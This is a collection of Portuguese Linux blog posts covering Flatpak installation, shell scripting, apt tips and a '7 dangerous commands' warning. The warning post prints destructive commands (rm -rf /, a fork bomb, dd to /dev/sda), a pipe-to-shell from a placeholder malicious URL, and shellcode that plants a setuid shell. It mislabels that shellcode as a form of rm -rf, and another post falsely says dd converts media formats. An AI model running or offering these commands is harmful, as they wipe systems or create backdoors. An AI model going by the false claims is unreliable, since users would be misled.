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Como instalar e gerenciar pacotes Flatpak nas distribuições Linux

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terça-feira, 20 de junho de 2017

Há algum tempo atrás eu fiz aqui no blog duas matérias relacionados ao Snap, uma delas mostrando como você instala o suporte a eles em qualquer distribuição e outra ensinando a utilizar a ferramenta. Hoje é a vez do Flatpak com um combo! 😊 

Como instalar e utilizar os pacotes Flatpak




Tecnologias revolucionárias como o Flatpak e o Snap são ótimas, mas elas carecem da mesma coisa, justamente por conta de serem novidades, que é documentação coloquial. Por mais que existam manuais oficiais, sempre há algo que foge àquele conteúdo. Hoje eu vou te mostrar como fazer a instalação do Flatpak na maior parte das distribuições Linux e te dar as diretrizes básicas de como se utilizam estes pacotes.

Instalando o Flatpak na sua distribuição Linux


Basicamente o pacote é o mesmo em todas as distros, variando de acordo com o sistema e seu gerenciador de pacote, então vamos para a pequena lista em ordem alfabética:

Alpine Linux

O suporte a Flatpak pode ser instalado desta forma:
sudo apk add flatpak

Arch Linux (Manjaro/Antergos)

O suporte a Flatpak está disponível diretamente dos repositórios oficiais, e também existe a versão do AUR. Você pode instalar desta forma:
sudo pacman -S flatpak
No Arch, para ter as ferramentas de desenvolvimento (Flatpak-Builder) funcionando corretamente é necessário instalar algumas dependências extras, mas isso só serve para você que for desenvolver os pacotes, usuários comuns poderão usar apenas o comando acima.
sudo pacman -S --asdeps --needed elfutils patch
Debian

Com o lançamento da versão 9 do Debian que tivemos na semana passada, o suporte a Flatpak pode ser instalado à partir do repositório oficial também.

su root
(digite sua senha)
apt install flatpak
Para o Debian Jessie será necessário usar o repositório Backports.

Fedora

Do Fedora 23 em diante você habilita o suporte ao Flatpak facilmente com o comando:
sudo dnf install flatpak
Gentoo

Atualmente não existe uma forma oficial de instalar o Flatpak na distribuição, entretanto, existe um método não oficial que pode ser encontrado aqui.

Mageia


Instalar no Mageia é simples também, inclusive existem duas formas de fazer isso, dependendo do gerenciador de pacotes que você preferir utilizar. Lembre-se de executar os comandos como root, como no Debian:
dnf install flatpak
Quase igual do Fedora, não é? Outra opção é caso você prefira utilizar o urpmi como gestor, neste caso seria (também como root):
urpmi flatpak 
openSUSE

No openSUSE também existem duas formas de fazer a instalação, dependendo de qual versão do "Rei lagarto" você use. Se você usa a versão Leap ou Tumbleweed, em ambos os casos você pode usar o método 1-click install através do Yast, ou caso use a versão Tumbleweed em específico, você pode instalar via Zypper também:
sudo zypper install flatpak
Ubuntu (Linux Mint/elementary OS) 


No Ubuntu varia de acordo com a versão, caso você esteja usando a versão 17.10 ou superior, o flatpak já está no repositório e você pode instalar com um simples "sudo apt install flatpak", no entanto, para quem usa o Ubuntu 16.04 LTS ou 17.04 é necessário usar o PPA oficial, o mesmo vale para Linux Mint e elementary OS (ambos baseados na LTS) e as outras derivações oficiais do Ubuntu (Kubuntu, Xubuntu, Ubuntu MATE, etc) respeitando o seu versionamento.
sudo add-apt-repository ppa:alexlarsson/flatpak
sudo apt update
sudo apt install flatpak
Isso cobre a maior parte das distribuições, agora vamos aprender a utilizar o Flatpak.

Como usar os pacotes Flatpak 


Vamos fazer agora do gerenciamento de pacotes Flatpak básico para você poder atualizar as aplicações, instalar e remover e fazer consultas sobre informações.
Quer aprender a fazer isso com o apt? Confira este artigo.
Acho que em primeiro lugar é bom que você saiba que pode consultar toda a documentação sobre o Flatpak disponível atualmente aqui,  no site você encontra informações sobre a estrutura dos pacotes, como criá-los, como criar repositórios, etc.

A grande questão que deixa um pouquinho mais complicado o Flatpak em relação ao Snap atualmente é que você precisa adicionar um repositório específico para cada programa em muitos casos, então é importante que o desenvolvedor te informe isso, você pode ver alguns exemplos nesta página na aba "Command Line".

Os pacotes Flatpak possuem os chamados flatpakref, que como o nome sugere, são pacotes quem contém referências para o download das aplicações e servem de intermediário, futuramente esses pacotes serão gerenciados diretamente com as centrais de aplicativos, como o GNOME Software, permitindo que os pacotes sejam instalados com dois cliques como qualquer deb ou rpm (assim como os Snaps), porém, atualmente, ao menos eu meus testes este recurso ainda não está funcional. Quando a integração estiver perfeita, a necessidade da adição manual dos repositórios poderá ser contornada.

O conteúdo de um flatpakref é basicamente este abaixo (LibreOffice), composto do nome do pacote, informações do repositório, como a URL do mesmo, qual é a versão de lançamento dele, chave GPG e link para o Runtime do Flatpak, etc.

[Flatpak Ref] Title=The Document Foundation LibreOffice Name=org.libreoffice.LibreOffice Branch=fresh Url=http://download.documentfoundation.org/libreoffice/flatpak/repository IsRuntime=False GPGKey=mQINBEyzEr0BEADT441wUITsTwDA2nM3kmUhGrzTdxZB5xv/E1ZJCw63qWdmdTdWNZDfNDuLs4r2VjlEoA3xGK6jgnQvyAoNj0yiEbW/JedHHgOiVdXDlkgkY58myafTFXqDLzTXVrsNnay0GS8XrNjptZJPhEPBvNUdkqpA9B7RTkfaXj779Pf/AeFMZVLlUAci5RA0NNF910GHwoXT6SEv2PGoawsphnfmMVdKh9wz7asbtKXEmotCwX3k045xLsIVK5ANOi+BI9C3LkrrFJWw2XHqDW2ulwCJ0L5QNSjOuY/v8REODwIXamvvdZOzXBKSIzDOalJqFCHls3YlGyFw1knr6BAOmVOm32YtNTCLbVA/iK55fZWnUCjD3a4Gxz4qpQYWfpxhOmlHpk5JkraSNHzCc7SB43DwcHF5ecXHttMhO8MoN/bAZBgCuLGFEwNvwFbDwIWo07mlv7wD8i1rtUCvLywJc5YL2PbjCLfB1Q4YzDX1EWnjKdnAsxxKftrx1DFlxzUF+TaHbLTPttUcsWQaL8wITznoWIwdIWlo2woPgWIpUXMOYwYV31OofgmroHa3V4NOvkke09uhaZawg5yZCoRFohhfKPqT1ZrJ9SnRbW/WR3VTVY76ht5kRuV3eb2VWBmPU9zn56Tbe6dvFkBuzHH1JdECAqy1BzFcmQQFBebFzf1XAQARAQABtEhMaWJyZU9mZmljZSBCdWlsZCBUZWFtIChDT0RFIFNJR05JTkcgS0VZKSA8YnVpbGRAZG9jdW1lbnRmb3VuZGF0aW9uLm9yZz6JAjcEEwEKACEFAkyzEr0CGwMFCwkIBwMFFQoJCAsFFgIDAQACHgECF4AACgkQ9DSh76/urqOc4w//X+74QlyRalcuLNw3oJKB1+1z6xxhhpwg1kw5cMMrGu0w0YoPvLDKaiS02DdkIaXDECcQTOoEh7/bYbZq6OtE1WyxqHYYOPK5yul5FRwZ5k5HZ7pDFcKCQ72UgWhz+QznRhgZ0jwEWl5Ln3rwJpSynIvTXHmQogId0xmcrNQPyckzzugGx4qZFinSOmDGwTgG14NU3vat2iek37PhBLh5V8ohlEoccwwPejtKEWQudg0Q8K7uBuqLUhnJoZodEytqpOvtysuPtGxGXnmD7oXtBVEF3X6eFRXDIp81cx2isHK4Krf4z4T9KUimNLHjWRa+ZQtp2pZLHQlblfsnCUf6TYZ0Yi909EhcM/hxAgBZXellOCQ/8U2cJsTUyN5Dp1wbf6X0uK4uaed1/037EGLAO6PP6WQz6jWd1/hhsQ5oAmdjkzlMFEfKNeIIDuKMOjXcTvM8/KRXhufwICvSFBlSIveHfDFWCvOVgq0VjAY7NFMFKRUnRHB58qBamtyhOyscRIvT5QH8HYfUA/YNl9FguczYUIQi3t+H1hoHIywdtmRuhYx5WlIUe8FO9QD5RMPbBjVbkCYgdHdxgnJDKCoRGsoKlLB7UZc4Ak9j6plZbYtFRonm2MjU4zxblCFNuEqVQ0V/y6/OIGpBYF9YaEAtTgEJd9OmmDCM3d8O0zZHYma5Ag0ETLMSvQEQAMDp0HxSDWd+2Od/aJutCMFe8tfw7+nP9gfHOCUqesb88QvRMJgVY6z1aNdMllxTKlsxUiuA6uNcrUAkzDp/qRWR58rWIO642PLifng3urJ1cDbSKC+K4RHpQC+hXllMKLqq8dwNy1LO4fPo9SdtUF4Bev6enKmo4yCiOGv2tvztPh9gMGYoDncaOsS0t2UPr2MMQIVUmmIzfJBkdOxbZiWOdoeNbWsYJHQaO+Ahal6SjPHKzhdjeXhZzHl1vqeDkV4MXHprrOwXNXwPiEpkZe2Odc7yaMkQc0k8WRrfKHApbnwDx6Mi8HYaf+LvRq7P0eMO9osD1q44wQQvVzk199zpMMHS5/kAv7RBNmDOSJQIZ4zT4lzRDODjMf01Ljn02zon12GfJo0WbbpmLulta7ujHgMrUU54by8WPFGW0fljXiDX0EpkHhxUsUsfaNfBsFnE+sRxQjNF/ljvofkyApI21OjtEa9krwvgDqaXsL+a2076OsoFpORlTZ30REb0eRS6rEt8M+7s4xTaA7GFxlY/N+bnaM8m+ItygfFHHW4H0wLbbgajDeooSTgaheVNF5V9HS0EkN4MNVvtJH7J6drdiR1QVhX87n7+JtQzTtCOyfeKjaB+kcbAm/2VOFOeHdig5+BygpXt3IixVq72xmGzh0jhY565MjXrqg5O3pvLABEBAAGJAh8EGAEKAAkFAkyzEr0CGwwACgkQ9DSh76/urqPaeg//avI2/a94XlSYtSZb2hVdW3qa9AEypQurqtVrKJfEKFV+ZQBPXbPRy8Mz5LMEH1sfD6B4SVGIGJ8opSyieJkcKIke+GMekTWvSqDpFOgY2rw7eHNn/33ZJs3OzQOyWz8smE/AIM/5lyiVGuSlU7RjYncf1V9bIBc91q9Edqk4IYUo/7W+yafC0VW/8oHUFYjHNaujiOsEoLiXsh9Y0R/6Jxs6fvE4XbCANV/ecN5UX+9BBrNZNN/9GbNr6CYGZ57M2f1Pgywy/XvOnEPnJ8aWXUyGLqq34KvMPFPSOeAmFbkFEsB4mdDMFaDwrzziiZE/zS8/nKiH4X2JgmLgFsadEihdfYxeDcGbhREK/qA1f3bGnr1j05V07yko2FFZdiOr4OgiT5ymgwVUXQ2Aiz+J/C8URjfpcPxetmuDQT9AYfgmMKPNVXPFWuNQdzN5GZbI+E1/cb5+uLNknvjngw2G4PR/4uPHX1HCSftlNawBqWzyun1k+B7/u3OeFebWXcdqSmZuLQ7l0Pkuz/Nlp6M6cKpceL+9zCgaiR5+v9h94VvtXKd/mw9ZLACcVcOANiwCtsJP3lt7jRSHtkuUe6vUm5tLS582RfXxoI1BlPjNtG9xAQ3JKBHIXbalT18pAFO3t74cxg3h0iI1G51F3oL0DwILP2MBBmardVEp5CMnB/M= RuntimeRepo=https://sdk.gnome.org/gnome.flatpakrepo


Tirando a questão dos repositórios que podem variar de acordo a aplicação, o manuseio é simples de se fazer:

flatpak install nome_do_app - Instala uma aplicação ou um Runtime, por exemplo, flatpak install spotify.

flatpak update - Atualização uma aplicação ou Runtime, pode ser usado para uma aplicação específica também ou para um conjunto, como flatpak update skype.

flatpak uninstall - Como é de se supor, esta opção serve para remover um pacote ou Runtime, por exemplo, flatpak uninstall libreoffice.

Para saber o nome dos pacotes Flatpak que você tem instalado, você vai querer usar o:

flatpak list

Vamos agora para algumas opções um pouco mais avançadas:

flatpak info nome_do_app - Mostra informações sobre a aplicação.

flatpak run nome_do_app - Roda o App com o nome indicado

flatpak override - Este parâmetro serve para sobrescrever os requerimentos da aplicação.

flatpak make-current - Produz uma versão específica do app indicado (develop)

flatpak enter - Entra em uma aplicação

flatpak document-export - Exporta um arquivo para o modo Sandbox

flatpak document-unexport - Para a exportação iniciada com o comando anterior

flatpak docuiment-info - Mostra informações sobre os Apps exportados

flatpak document-list - Lista os arquivos/Apps exportados

flatpak remotes - Lista os repositórios remotos habilitados

flatpak remote-add nome_do_repositório - Adiciona um repositório Flatpak

flatpak remote-modify - Modifica um repositório remoto

flatpak remote-delete - Deleta um repositório remoto

flatpak remote-ls - Mostra as Runtimes e aplicações disponíveis

Estes são os principais, mas existem outros especialmente voltados para desenvolvedores, vale a pena conferir o link que eu passei anteriormente com a documentação, para quem estiver interessado em desenvolver pacotes Flatpak, o site do projeto explica como você pode baixar o SDK e começar a fazer seus primeiros pacotes neste novo formato.

E claro, outra forma de você conhecer mais e entender os parâmetros de manuseio do Flatpak via linha de comando e usar o bom e velho:
flatpak --help
Até a próxima!
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Como criar um Shell Script simples para automatizar a instalação de programas no Linux

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terça-feira, 13 de junho de 2017

Uma das coisas mais legais do Bash é o poder de automatizar tarefas, até mesmo na própria linha de comando. Hoje você vai aprender a criar um simples Shell Script para instalar um programa.

Shell Script




Para você entender o conceito, vamos dar um exemplo com um programa popular e simples, o GIMP. O GIMP é um manipulador de imagens que está no repositório de todas as distros Linux praticamente, como exemplo nos comandos vamos usar o gerenciador de pacotes "apt", comum no Debian, Ubuntu, Linux Mint e derivados, apesar disso, entendendo o conceito, você pode aplicar em qualquer distro, basta entender o gerenciador de pacotes dela e os comandos que ele aceita.

Claro, o GIMP pode ser instalado por centrais de apps sem comandos, pode ser também instalado com um simples # apt install gimp mas a intenção é te mostrar como você pode estruturar um script para automatizar a instalação de qualquer programa ou de vários ao mesmo tempo.

Vamos imaginar que você queria instalar o gimp a partir do terminal.

Muito provavelmente os passos que você dará serão:

1) Atualizar os repositórios
$ sudo apt-get update
2) Instalar possíveis atualizações do sistema:
$ sudo apt-get dist-upgrade -y
3) Efetivamente instalar o pacote.
$ sudo apt-get install gimp

O processo manual da instalação de um programa pode levar algum tempo, pois você deverá esperar que o primeiro comando termine sua execução para digitar o próximo.

Nem sempre atualizar repositórios é rápido e portanto é o seu tempo que está sendo gasto esperando algo que poderia facilmente ser automatizado.

O primeiro nível de automatização que poderíamos fazer aqui é criar uma fila de comandos (chamadas de listas) que serão executados pelo Bash em sequência.

Para isso basta separar os comandos com um ponto e vírgula:
sudo apt-get update ; sudo apt-get dist-upgrade -y ; sudo apt-get install gimp -y
Apesar de já automatizar um pouco o processo, não há praticamente nenhuma lógica envolvida.

Você muito provavelmente não deseja executar um "dist-upgrade" se o "update" falhar antes por qualquer motivo. Certo?

Aqui chegamos no nosso segundo nível de automatização. Em vez de usar o ponto e vírgula, podemos separar os comandos com "&&", e desta forma o Bash somente executará o comando seguinte se o anterior finalizar a execução com sucesso.
sudo apt-get update && sudo apt-get dist-upgrade -y && sudo apt-get install gimp -y
Agora já melhoramos bastante o processo, porém no caso de algum dos comandos retornar falha, esta fila de comandos simplesmente para de ser executada sem qualquer tipo de aviso mais elaborado para o usuário.

É possível em linha de comando adicionar mais lógica para continuar aperfeiçoando este nosso procedimento, porém este é aquele momento em que talvez seja mais proveitoso se criar um script de verdade e deixar o processo legível, em vez de simplesmente criar uma "tripa" de comandos que depois poderá dificultar a sua vida na hora de encontrar e consertar qualquer erro.

Para este nosso exemplo, usaremos o próprio "if" do Bash (que é uma estrutura de condicional explicada brevemente neste vídeo aqui)

Basta criar um arquivo de texto que você pode 'chamar do que quiser .sh", tipo "batatinha_quando_nasce.sh" e inserir os dados que vamos te mostrar. Tá bom, talvez seja melhor criar um arquivo chamado instala-pacote.sh o seguinte conteúdo:

#!/bin/bash

echo Atualizando repositórios..
if ! apt-get update
then
    echo "Não foi possível atualizar os repositórios. Verifique seu arquivo /etc/apt/sources.list"
    exit 1
fi
echo "Atualização feita com sucesso"

echo "Atualizando pacotes já instalados"
if ! apt-get dist-upgrade -y
then
    echo "Não foi possível atualizar pacotes."
    exit 1
fi
echo "Atualização de pacotes feita com sucesso"

# note que $1 aqui será substituído pelo Bash pelo primeiro argumento passado em linha de comando
if ! apt-get install $1
then
    echo "Não foi possível instalar o pacote $1"
    exit 1
fi
echo "Instalação finalizada"

Veja que utilizamos o operador "!" após o "if" para inverter o resultado do comando seguinte, portanto o conteúdo das condicionais (código que está entre o "then" e o "fi") somente será executado caso os comandos falhem na execução. Também utilizamos o comando "exit 1" para pedir ao Bash que interrompa a execução do script em caso de falha.

Para executar o script basta rodar a seguinte linha:

sudo bash instala-pacote.sh gimp

Desta forma podemos utilizar o mesmo script para qualquer pacote, e o "sudo" só precisa ser invocado uma vez. Basta passar o nome do pacote desejado em linha de comando e ver o Bash fazer o resto sozinho.

É possível melhorar e incrementar o script de diversas maneiras. Podemos imprimir mensagens com cores, suprimir a saída em tela do comando apt-get para facilitar a leitura, dentre outras coisas.

Basta ter criatividade e dominar a linguagem do shell script para poder automatizar praticamente o que você quiser.


Outra coisa que você pode fazer é incluir dentro do Shell Script os comandos para a instalação do pacote em específico, assim você pode rodar apenas o Shell Script e ele se encarrega de fazer a instalação para você.

Você pode por exemplo criar um script de pós formatação para o seu sistema, acrescentando repositórios, pacotes e programas que você normalmente usa, incluindo as opções para fazer a atualização do sistema e apenas rodar um Shell Script depois de instalar a sua distro e ir tomar café enquanto seu sistema é montando automaticamente. É mais do que bacana!

Nós lançamos nesta semana o nosso curso avançado de Shell Script, onde você vai aprender coisas como esta deste post e muitas outras para automatizar a sua vida de usuário Linux, as matrículas estão abertas até Quinta-feira, dia 15 de Junho e tem promoção especial para quem comprar hoje até a meia-noite. Corre lá pra conferir antes que fechem as matrículas.

Até a próxima!
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7 comandos perigosos do Linux que você NUNCA deve executar

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quarta-feira, 25 de janeiro de 2017

Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
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Explainshell - Entenda o que cada comando do Linux faz

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quinta-feira, 19 de maio de 2016

A dica de hoje é especial para quem está começando a dar os seus primeiros passos no terminal Linux. É muito comum você estar buscando conteúdo, soluções para problemas na internet e se deparar com comandos que você não sabe exatamente o que fazem, é justamente para isso que o Explainshell serve, te explicar cada um deles.

explainshell



Para usar a ferramenta é muito simples, acesse o site explainshell.com e cole no campo de busca o comando que você deseja que seja explicado para você e pressione "enter", ao fazer isso, cada sessão do comando receberá uma explicação logo abaixo.

O site é em inglês, você pode considerar aprender inglês, pelo menos um instrumental básico para informática ou utilizar ama ferramenta de tradução ao seu gosto, como o Google Tradutor por exemplo. Assim você vai aprendendo aos poucos para quê cada comando serve. Muito legal né?

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Quem estiver interessado em ampliar seus conhecimentos sobre Shell Script pode dar uma olhada no livro "Shell Linux - Do aprendiz ao administrador" disponível na nossa loja, a DioStore.

Livro sobre Shell Script na DioStore

Até a próxima!
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4 recursos do Apt-get que você não conhece

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terça-feira, 12 de maio de 2015

O apt é o gerenciador de pacotes das distribuições baseadas em Debian e isso inclui o Ubuntu e seus derivados, vamos aprender umas coisas novas sobre ele?

Dicas de comandos apt

Dicas para você utilizar com o comando APT


O terminal Linux é muito versátil e o APT também é, boa parte dos usuários conhece só "feijão com arroz" do apt: apt-get install, apt-get update, apt-get upgrade, apt-get remove, etc. 

Com isso você já deve conseguir fazer o básico mas existem algumas coisas bem interessantes para você saber que podem facilitar a sua vida.

Veja também:
Vídeo de comandos no terminal no Ubuntu para iniciantes
Então veja agora 4 parâmetros do apt-get que fazem coisas muito interessantes:

1 - Fazendo apenas o download de um pacote


Download de pacotes deb


sudo apt-get install programa -d

Seguindo o mesmo padrão para instalar qualquer programa o parâmetro -d no final do comando faz com que os pacotes sejam apenas baixados e não instalados. Isso pode ser útil se você quer baixar apenas os pacotes .deb para instalar posteriormente ou em outro computador.

Os arquivos que você baixar ficarão no diretório /var/cache/apt/archives

Um exemplo:
sudo apt-get install inkscape -d
Desta forma você baixará o .deb do Inkscape para o Ubuntu mas não vai instalá-lo.

2 - Simulando uma instalação


Simulação


sudo apt-get install programa -s

O parâmetro -s ao final do comando permite que você faça uma instalação simulada, assim você pode observar tudo o que aconteceria no comando sem que ele efetivamente ocorra, é bem interessante.

3 - Instalando programa sem precisar dizer "sim"


Sim senhor!


sudo apt-get install programa -y 

Este é até interessante explicar,  usamos muito ele aqui nos tutoriais do Diolinux, o parâmetro -y no final do comando assume que a resposta para qualquer pergunta que o comando exija seja "sim".

Normalmente ao dar um comando do tipo "sudo apt-get install inkscape" (para seguir o exemplo), após pressionar a tecla "enter" e digitar a sua senha será pedido para você pressionar a tecla "s" ou "y" para prosseguir com a instalação, usando este -y no final do comando isso não será pedido.

4 - Corrigindo pacotes quebrados


Copos quebrados


sudo apt-get install -f

Diferente dos exemplos anteriores este pode ser usando exatamente assim: sudo apt-get install -f . Ele tem o objetivo de corrigir possíveis pacotes quebrados que são resultado de uma queda de energia durante uma instalação ou a instalação de um programa instável que possa ter causado problemas.


E aí, curtiu as dicas? Então compartilhe :)

Até a próxima!


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Como converter qualquer arquivo para qualquer formato no Linux sem baixar nenhum programa

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quinta-feira, 18 de abril de 2013

Parece milagre, mas é o poder do Linux!

Hoje tive um problema, queria rodar um sistema no VirtualBox, o Mac OS SnowLeopard, mas a imagem do sistema era no formato IMG, formato esse que o VirtualBox não aceita, precisava mudar o formato dela para ISO.
Pesquisei muito, programas para Windows inclusive mas nada... nem o badalado Format Factory faz tal milagre. 
Para a minha surpresa, descobri pesquisando o Ubuntu ( O Linux de maneira geral ) Poderia fazer isso por mim sem que eu precisasse instalar absolutamente nada!

Como converter IMG para ISO

O recurso milagroso é na verdade um implementação de sistemas Unix, e o Linux sendo um derivado herdou essa ferramenta chamada singelamente de DD.
O DD é um conversor/copiador em modo texto para o Linux e pode, segundo os testes que eu fiz, converter IMG para ISO, RMVB para AVI, FLV, MP4, MP3, WMA... e por aí vai, estes foram os formatos que eu testei e comprovei que funcionam.

converter-img-em-iso


Mas como ele funciona?

O que faz dele melhor ainda é que são comandos muito simples, veja bem, no exemplo vou converter o tal arquivo Mac.img em Mac.iso.

dd if=/home/usuario/Downloads/mac.img of=/home/usuario/Documents/mac.iso
Repare que eu destaquei 3 trechos do comando simples, vou explicar como funciona, a primeira parte "dd if=" serve para iniciar o comando, daí para frente a parte azul é a localização do arquivo com a sua extensão, a segunda parte começa com "of=", que é o comando de saída, a parte azul é o diretório onde você deseja salvar o arquivo convertido/copiado com a extensão que você deseja que ele tenha, repare no final que eu coloquei ".iso".
A imagem do Mac era de 4,9 GB, e foi convertida em 5 min aproximadamente, fiz o texto com outros arquivos de mídia, vídeos, audios e a conversão foi instantânea.

Vou te dizer, parece mágica é incrível!

Faça o teste, nunca mais você vai precisar de um programa para converter formatos!
Essa é a melhor dica do mês com toda a certeza!

Até a próxima!

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Impossível criar acesso exclusivo ao directório /var/lib/apt/lists/ - como resolver este problema do APT

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quarta-feira, 21 de novembro de 2012

Não está conseguindo instalar nada?

O arquivo /var/lib/apt/lists/lock impede que uma segunda instância do programa seja aberta, portando enquanto um processo ainda estiver ativo você não conseguirá instalar nenhum programa ou atualizar o sistema com qualquer comando que envolva o sistema de gerenciamento de pacotes APT.


Solução

Use este comando no terminal:

ps aux | grep apt
o resultado deve ser parecido com o seguinte:

pid

Como podemos ver existem alguns processos que estão usando o APT e impedindo que o seu uso para instalar algum programa. Repare que eu destaquei na segunda coluna alguns números sublinhados em vermelho, estes números são o PID do processo, ou seja, seu número identificador.
Agora para tudo voltar a funcionar basta matarmos o processo.

sudo kill PID
Neste caso matei o primeiro processo  18433 e pude atualizar o sistema normalmente.

Até a próxima dica.

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Como descobrir se o Ubuntu/Kubuntu é 32 ou 64 bits

2 comentários

sábado, 29 de setembro de 2012

Apenas um comando...

Se você por alguma razão deseja saber se o seu Ubuntu ou Kubuntu ( ou derivado) é 32 bits ou 64, como por exemplo quando você precisa instalar determinado software que tem versões para as duas arquiteturas como é o caso do Google Chrome, você não vai precisar sofrer muito para descobrir e isso e o que é melhor, usando apenas um comando simples:
Abra o seu terminal ou Konsole ( no caso do KDE) e cole as seguintes linhas:

file /bin/bash | cut -d' ' -f3 
O resultado deverá ser o seguinte:

konsole-kubuntu

Repare na inscrição abaixo do comando "64 bits" isto indica que a distro é de arquitetura 64 bits, caso contrário no mesmo local apareceria "32 bits".

Cuidado para não se confundir

É bem comum ver pessoas confundindo a arquitetura do processador com a arquitetura do sistema operacional.
É importante levar as duas em consideração da hora de instalar o sistema, porém elas são coisas totalmente diferentes. Os processadores mais atuais são todos do tipo 64 bits, computadores mais antigos com mais de 10 anos possivelmente ainda tenham processadores de 32 bits, os sistemas operacionais pelo contrário até pouco tempo eram de 32 bits apenas em sua maioria, como o Ubuntu e o Windows por exemplo.
Veja bem, se você tem um processador de 64 bits, você pode instalar nele um sistema tanto de 32 quanto de 64 bits que ele irá funcionar adequadamente, sendo que possivelmente se você instalar um sistema de 64 bits neste caso terá um desempenho superior.  Se o processador for de 32 bits você não poderá instalar sistemas de 64 bits, apenas de 32.

Espero ter esclarecido a dúvida. Até mais.

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Como descobrir quais são os 10 comandos que você mais usa no Linux

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sexta-feira, 24 de agosto de 2012


Terminal LinuxSe você for um usuário assíduo de Linux e usa o terminal com frequencia, pode ser que você queira saber quais os comando que você mais utiliza. Bom existe uma maneira muito simples de se fazer isto:


Abra o terminal e cole este comando:

history | awk '{print $2}' | sort | uniq -c | sort -rn | head -10 

No meu caso o resultado foi:


dionatan@dionatan-Aspire-5250:~$ history | awk '{print $2}' | sort | uniq -c | sort -rn | head -10
    165 sudo
      7 xkill
      6 uname
      6 skype
      4 wget
      4 unity
      4 ls
      4 cd
      1 zramswap-enabler
      1 zram-enabler


Fonte


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20 comandos que você pode precisar

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sexta-feira, 10 de fevereiro de 2012

